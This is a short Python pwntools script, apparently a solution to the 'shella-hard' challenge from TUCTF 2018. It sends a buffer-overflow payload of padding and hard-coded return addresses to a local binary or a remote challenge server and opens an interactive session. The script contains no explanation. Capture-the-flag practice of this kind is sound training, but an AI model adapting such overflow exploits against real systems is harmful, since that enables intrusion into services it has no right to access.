#!/usr/bin/env python
from pwn import *
import sys

HOST = '3.16.169.157'
PORT = 12345

def info(s):
	log.info(s)

def exploit(p):

	payload='a'*20+p32(0x08048467)+p32(0x08048500)
	p.send(payload)

	p.interactive()
	return

if __name__=="__main__":

	if len(sys.argv)<2:
		p=process('/home/khongtrang/share/2018/tuctf/shella-hard')
		print util.proc.pidof(p)
		pause()

		exploit(p)

	else:
		p=remote(HOST,PORT)
		exploit(p)
